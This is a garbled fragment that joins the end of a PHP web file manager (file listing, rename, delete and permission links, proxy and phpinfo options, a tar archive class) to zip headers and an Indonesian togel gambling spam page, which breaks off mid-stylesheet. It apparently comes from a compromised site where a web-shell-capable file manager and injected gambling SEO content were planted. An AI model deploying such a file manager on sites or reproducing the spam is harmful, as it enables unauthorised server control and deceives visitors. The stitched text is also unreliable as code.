. '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK �8�\ index.phpnu �[��� PK �8�\��o�-} -} index.htmlnu �[��� <!DOCTYPE html> <html lang="id" amp=""> <head> <meta charset="UTF-8"> <meta content="ie=edge" http-equiv="X-UA-Compatible"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1"> <title>ASIKTOTO : Pusat Kumpulan Buku Mimpi Togel Online Terpercaya</title> <meta name="description" content="ASIKTOTO merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat."> <meta name="keywords" content="asiktoto, asik toto, mimpi togel, buku mimpi togel, buku mimpi togel terlengkap, tafsir mimpi togel, seribu mimpi togel, buku tafsir mimpi togel, asiktoto daftar, asiktoto slot, asiktoto login, asiktoto togel"> <meta name="robots" content="index, follow"> <meta itemprop="name" content="XRTOTO"> <meta itemprop="description" content="ASIKTOTO merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat."> <meta itemprop="image" content="https://rebrand.ly/slider-asik-hadiahtogel"> <meta property="og:url" content="https://www.goodbyemozart.com/"> <meta property="og:type" content="website"> <meta property="og:title" content="ASIKTOTO : Pusat Kumpulan Buku Mimpi Togel Online Terpercaya"> <meta property="og:description" content="ASIKTOTO merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat."> <meta property="og:image" content="https://rebrand.ly/slider-asik-hadiahtogel"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@ASIKTOTO"> <meta name="twitter:creator" content="@ASIKTOTO"> <meta name="twitter:title" content="ASIKTOTO : Pusat Kumpulan Buku Mimpi Togel Online Terpercaya"> <meta name="twitter:description" content="ASIKTOTO merupakan pusat kumpulan buku mimpi togel online yang sudah dipercaya masyarakat indonesia dalam tafsir mimpi togel hingga mendapatkan angka yang tepat."> <meta name="twitter:image" content="https://rebrand.ly/slider-asik-hadiahtogel"> <link rel="canonical" href="https://www.goodbyemozart.com/"> <link rel="icon" type="image/png" href="https://i.gyazo.com/4e411b392a2b077e204dce0769706185.png" sizes="16x16"> <link rel="icon" type="image/x-icon" href="https://i.gyazo.com/4e411b392a2b077e204dce0769706185.png"/> <link rel="preconnect" href="https://cdn.ampproject.org"> <link rel="preload" as="script" href="https://cdn.ampproject.org/v0.js"> <script async="" src="https://cdn.ampproject.org/v0.js"></script> <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Exo%202:ital,wght@0,400"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css"> <script async custom-element="amp-iframe" src="https://cdn.ampproject.org/v0/amp-iframe-0.1.js"></script> <style amp-boilerplate="">body{-webkit-animation: -amp-start 8s steps(1, end) 0s 1 normal both;-moz-animation: -amp-start 8s steps(1, end) 0s 1 normal both;-ms-animation: -amp-start 8s steps(1, end) 0s 1 normal both;animation: -amp-start 8s steps(1, end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-moz-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-ms-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-o-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}</style> <noscript><style amp-boilerplate="">body{-webkit-animation: none;-moz-animation: none;-ms-animation: none;animation: none}</style></noscript> <style amp-custom="">:root{--primary-color: #20abff;--tertiary-color: #20abff;--dark-color: #000000;--darkest-color: #141414;--jackpot-light-color: #bfbfbf;--jackpot-number-color: #eaffdf;--mitragame-bg-color: #transparent;--text-common-color: #e0f0ff;--navbar-bg-color: #b32b05;--text-nav: #191a19;--text-common-inverse-color: #000;--text-highlight-color: #0eadff;--primary-shadow-color-normal: rgba(148, 216, 39, 0.3);--primary-shadow-color-small: rgba(181, 216, 39, 0.19);--primary-shadow-color-large: rgba(181, 216, 39, 0.4);--primary-shadow-color-medium: rgba(181, 216, 39, 0.25);--infobar-linear-gradient-color: linear-gradient(#20abff, #20abff);--infobar-linear-gradient-color-alpha: linear-gradient(#ff6307, #e10f0f);--infobar-linear-gradient-dark-color-alpha: linear-gradient(0deg,#121800,rgba(34, 43, 18, 0.3));--infobar-linear-gradient-semi-dark-color-alpha: linear-gradient(0deg,#121f33,rgba(34, 43, 18, 0.2));--bg-dark-color: #000000;--bg-darker-color: #141414;--text-btn-primary-color: #000;--card-header-primary-text-color: #000;--bg-promo-btn: #0eadff;--text-color-promo-btn: #000;--bg-info-content: #303031;--bg-accent-color: #0eadff;--bg-secondary-color: #6c757d;--bg-success-color: #28a745;--bg-danger-color: #dc3545;--bg-warning-color: #0eadff;--bg-info-color: #17a2b8;--border-primary: #20abff;--bg-light-color: #e0f0ff}@font-face{font-family: "Advanced Dot Digital-7";font-style: normal;font-weight: 400;src: local("Advanced Dot Digital-7"),url("https://fonts.cdnfonts.com/s/26574/advanced_dot_digital-7.woff")format("woff")}*,:after,:before{box-sizing: border-box}html{font-family: sans-serif;line-height: 1.15;text-size-adjust: 100%;height: 100%;font-size: 0.9rem;-webkit-tap-highlight-color: var(--mitragame-bg-color)}body{position: relative;min-height: 100%;margin: 0;font-family: "Exo 2", sans-serif;font-size: 1.05rem;font-weight: 400;line-height: 1.5;text-align: left;background-color: var(--bg-darker-color);color: var(--text-common-color)}iframe,amp-img,object,svg,video{vertical-align: middle}.custom-background{background-image: url(https://i.gyazo.com/876332f0778be38304748eec9b7cb554.jpg);background-position: center;background-size: cover;background-repeat: no-repeat;background-attachment: fixed}amp-img{max-width: 100%;height: auto}.size-width{width: 900px;max-width: 100%}.ff{margin: 0 auto;box-shadow: 0 0 10px -1px var(--primary-color);background-color: var(--bg-dark-color);padding-top: 63px;padding-bottom: 90px}.ff .te{width: 900px;max-width: 100%;margin: 0 auto;z-index: 1031}.te{background-color: var(--bg-darker-color);box-shadow: 0 0 10px -4px var(--primary-color);max-width: 100%;margin: 0 auto}hr{box-sizing: content-box;height: 0;overflow: visible;margin-top: 1rem;margin-bottom: 1rem;border-width: 0;border-style: none;border-color: initial;border-image: initial;border-top: 1px solid rgba(0, 0, 0, 0.1)}dt{margin-bottom: 0.5rem}dd{margin-inline-start: 20px}h1,h2,h3,h4{margin-top: 1.2rem;margin-bottom: 0.8rem;font-weight: 500;line-height: 1.2}h1{font-size: 2.1rem}h4{font-size: 1.2rem}p,ul{margin-top: 0;margin-bottom: 1rem}.text-bold{font-weight: bold}a{color: #20abff;text-decoration: none}a:hover{color: var(--tertiary-color)}.jd{text-align: center}.kd{font-weight: 700}.text-common{color: var(--text-common-color)}.p-0{padding: 0}.px-0{padding-left: 0;padding-right: 0}.py-025{padding-top: 0.25rem;padding-bottom: 0.25rem}.px-025{padding-left: 0.25rem;padding-right: 0.25rem}.py-05{padding-top: 0.5rem;padding-bottom: 0.5rem}.px-05{padding-left: 0.5rem;padding-right: 0.5rem}.p-025{padding: 0.25rem}.p-05{padding: 0.5rem}.p-1{padding: 1rem}.px--05{padding-right: -0.5rem;padding-left: -0.5rem}.m-0{margin: 0}.m-025{margin: 0.25rem}.m-05{margin: 0.5rem}.mt-05{margin-top: 0.5rem}.mb-025{margin-bottom: 0.25rem}.mb-05{margin-bottom: 0.5rem}.mx-auto{margin-right: auto;margin-left: auto}.mx--05{margin-right: -0.5rem;margin-left: -0.5rem}.mt-05{margin-top: 0.5rem}.w-24{width: 6rem}.h-24{height: 6rem}.h-auto{height: auto}.w-50{width: 50%}.relative{position: relative}.rounded-md{border-radius: 0.25rem}.rounded-lg{border-radius: 0.5rem}.text-center{text-align: center}.items-center{align-items: center}.text-highlight{color: var(--text-highlight-color)}.text-highlight-icon{color: #20abff}.font-bold{font-weight: 700}.text-lg{font-size: 1.4rem;line-height: 2rem}.text-dn{text-decoration: none}.title-underline{position: relative;height: 1px;margin-bottom: 1.3rem}.title-underline:before{content: "";position: absolute;top: 0;left: 30%;right: 30%;width: 40%;height: 1px;background-image: #20abff}.title-underline:after{content: "";position: absolute;z-index: 1;top: -4px;left: calc(50% - 5px);width: 10px;height: 10px;transform: rotate(45deg);background-color: var(--text-highlight-color);border-bottom: 1px solid var(--text-highlight-color);border-right: 1px solid var(--text-highlight-color)}.w-full{width: 100%}.flex{display: flex}.flex-row{flex-direction: row}.flex-col{flex-direction: column}.justify-center{justify-content: center}.absolute{position: absolute}.truncate,.whitespace-nowrap{white-space: nowrap}nav amp-img{max-width: 108px;width: 100%}.y{position: relative;display: flex;flex-wrap: wrap;align-items: center;justify-content: space-between;padding: 0.64rem 1rem}.ec{top: 0;position: fixed;right: 0;left: 0;z-index: 1030}.vb{display: block}.bb{padding: 0.5rem 0.75rem;font-size: 1rem;line-height: 1;font-weight: 600;background-color: var(--primary-color);background: #20abff;border: 1px solid transparent;border-radius: 0.25rem;color: var(--text-btn-primary-color); color: #000; border-color: hsla(0, 0%, 100%, 0.1)}.bb:focus,.bb:hover{background: var(--tertiary-color)}.marquee-container{margin: 0;margin-top: 4px}.info-area{position: relative;width: 100%;background-image: #20abff}.info-area:before{content: "";position: absolute;top: 0;border-top: 2px solid var(--border-primary);border-bottom: 1px solid var(--border-primary);left: 0;width: calc(100% - 35px);height: 100%;background-color: var(--bg-info-content);transform: skew(-35deg, 0deg);transform-origin: bottom left}.marquee-item{display: none}.info-bar{position: relative;font-size: 1.1rem;color: var(--text-common-color);background-image: #20abff;margin-right: 35px}.info-bar:after,.info-bar:before{content: "";position: absolute;top: 0;height: 100%;background-image: #20abff;transform: skew(-35deg, 0deg);transform-origin: bottom left}.info-bar:before{left: 0;width: 100%}.info-bar:after{right: -15px;width: 10px}.info-bar .info-bar-text{position: relative}.info-text{white-space: nowrap;overflow: hidden;box-sizing: border-box;flex: 0 0 calc(100% - 100px);max-width: 100%;z-index: 1}.marquee{flex: 0 0 auto;min-width: 100%;z-index: 1;display: flex;flex-direction: row;align-items: center;animation: marquee 30s linear infinite}@keyframes marquee{0%{transform: translateX(100%)}100%{transform: translateX(-100%)}}.lb{position: relative;width: 100%;overflow: hidden}.lb:after{display: block;clear: both;content: ""}.lb amp-img{display: block;padding: 0.5rem;border-radius: 1rem;width: 100%}.k{display: flex;justify-content: center;flex-wrap: wrap;margin-right: -10px;margin-left: -10px}.l{margin-right: 0;margin-left: 0}.l > .m{padding-right: 0;padding-left: 0}.m,.n,.o{position: relative;width: 100%;padding-right: 15px;padding-left: 15px}.m{flex-basis: 0px;flex-grow: 1;max-width: 100%}.mb{position: relative;display: block;float: left;width: 100%;margin-right: -100%;backface-visibility: hidden;transition: transform 0.6s ease-in-out 0s;transition: none 0s ease 0s}.mb amp-img{border: 7px solid transparent}.s{display: block;width: 100%}.buttom{display: inline-block;font-weight: 400;color: var(--text-btn-primary-color);text-align: center;vertical-align: middle;user-select: none;padding: 0.45rem 0.75rem;font-size: 1.25rem;line-height: 1.5;border-radius: 0;transition: color 0.15s ease-in-out 0s, background-color 0.15s ease-in-out 0s,border-color 0.15s ease-in-out 0s, box-shadow 0.15s ease-in-out 0s;transition: none 0s ease 0s;border-width: 0;border-style: none;border-color: initial;border-image: initial}.masuk{color: var(--text-btn-primary-color);background: var(--infobar-linear-gradient-color-alpha)}.daftar{color: #000;background: #20abff}.masuk:active,.masuk:focus,.masuk:hover,.daftar:active,.daftar:focus,.daftar:hover{font-weight: 600;color: var(--navbar-bg-color)}.qd,.rd{-webkit-font-smoothing: antialiased;display: inline-block;font-style: normal;font-variant: normal;text-rendering: auto;line-height: 1}.sd{font-size: 2em}.td{font-size: 2em}.ud:before{content: ""}.vd:before{content: ""}.wd:before{content: ""}.xd:before{content: ""}.yd:before{content: ""}.zd:before{content: ""}.ae:before{content: ""}.be:before{content: "\f590"}@font-face{font-family: Font Awesome\5 Free;font-style: normal;font-weight: 400;font-display: auto;src: url(https://m-g.io/istanacasino.com/38b05dab.eot)format("embedded-opentype"),url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/webfonts/fa-brands-400.woff2)format("woff2"),url(https://m-g.io/istanacasino.com/82875b3e.woff) format("woff"),url(https://m-g.io/istanacasino.com/2833f486.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/ab32d5ac.svg) format("svg")}@font-face{font-family: Font Awesome\5 Free;font-style: normal;font-weight: 900;font-display: auto;src: url(https://m-g.io/istanacasino.com/acee4f1e.eot)format("embedded-opentype"),url(https://m-g.io/istanacasino.com/07bed153.woff2) format("woff2"),url(https://m-g.io/istanacasino.com/0f6fcbf4.woff) format("woff"),url(https://m-g.io/istanacasino.com/b7f728ec.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/c3b7af3b.svg) format("svg")}.rd{font-family: Font Awesome\5 Free}@font-face{font-family: Games Icon;font-style: normal;font-weight: 900;font-display: auto;src: url(https://m-g.io/istanacasino.com/f4966828.eot)format("embedded-opentype"),url(https://m-g.io/istanacasino.com/75c41c48.woff) format("woff"),url(https://m-g.io/istanacasino.com/cfac6de2.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/2a0f42b6.svg) format("svg")}.qd,.rd{font-weight: 900}.qd{font-family: Games Icon}.be:before{content: ""}.ce:before{content: ""}.de:before{content: ""}.ee:before{content: ""}.fe:before{content: ""}.ge:before{content: ""}.ye{background-color: 